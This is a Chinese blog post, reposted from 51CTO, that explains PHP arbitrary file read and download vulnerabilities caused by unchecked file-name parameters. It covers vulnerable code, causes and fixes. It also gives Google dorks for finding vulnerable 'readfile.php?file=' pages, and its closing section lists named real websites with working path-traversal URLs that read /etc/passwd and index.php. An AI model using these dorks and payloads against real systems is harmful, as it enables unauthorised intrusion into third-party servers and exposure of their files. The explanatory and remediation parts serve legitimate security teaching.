0x01 文件读取
文件读取在PHP这种可以有很多种方式实现,在web的默认情况下,$filename变量可能用户可控
1
2
3
4
5
6
|
<?php
$filename
=
$_GET
[
'f'
];
echo
file_get_contents
(
$filename
);
?>
#当变量
$filename
没有经过校验,或者校验不严格,用户可以控制这个变量读取任意文件,例如
/etc/passwd、/config.ini 等文件
|
0x02 实现文件下载的两种方式
1.直接下载:
1
|
<
a
href
=
"http://www.xxx.com/xxx.rar"
></
a
>
|
2.增加header头
1
2
3
4
5
6
7
|
<?php
$filename
=
$_GET
[
'f'
];
header(
'Content-Type:image/gif'
);
header(
'Content-Disposition:attachment;filename='
.
$filename
);
header(
'Content-Length:'
.
filesize
(
$filename
));
readfile(
$filename
);
?>
|
当$filename没有经过校验,或者校验不合格,用户可以控制这个变量下载任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下载漏洞。
0x03 成因
都有读取文件的函数
读物文件的路径用户可控,且没有经过校验,或者校验不严格
都输出文件内容
0x04 Google Serch
1
2
|
inurl:
"readfile.php?file="
inurl:
"download.php?file="
|
0x05 修复方案
过滤<.>(点)
正则判断用户输入的参数格式,匹配输入的格式是否合格
php.ini配置open_basedir
0x06 实例漏洞利用
(仅供测试,请勿随意破坏)
地址:
1
|
url:http:
//hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt
|
漏洞利用:
1
|
http:
//hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd
|
地址:
1
|
url:http:
//storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf
|
漏洞利用
1
|
http:
//www.wodehouse.se/upload/readfile.php?file=../index.php
|
本文转自 nw01f 51CTO博客,原文链接:http://blog.51cto.com/dearch/1836973,如需转载请自行联系原作者